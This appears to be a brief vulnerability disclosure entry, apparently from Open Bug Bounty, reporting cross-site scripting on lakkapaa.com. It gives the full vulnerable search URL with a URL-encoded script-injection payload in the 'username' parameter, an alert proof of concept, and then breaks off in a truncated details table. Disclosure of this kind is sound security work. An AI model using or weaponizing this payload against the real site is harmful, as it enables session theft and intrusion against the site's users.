lakkapaa.com XSS vulnerability

Vulnerable URL: http://www.lakkapaa.com/lakkafi/searchProducts.do?username=%27%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E=%27%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E=%27%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E& Details: Description| Value ---|---...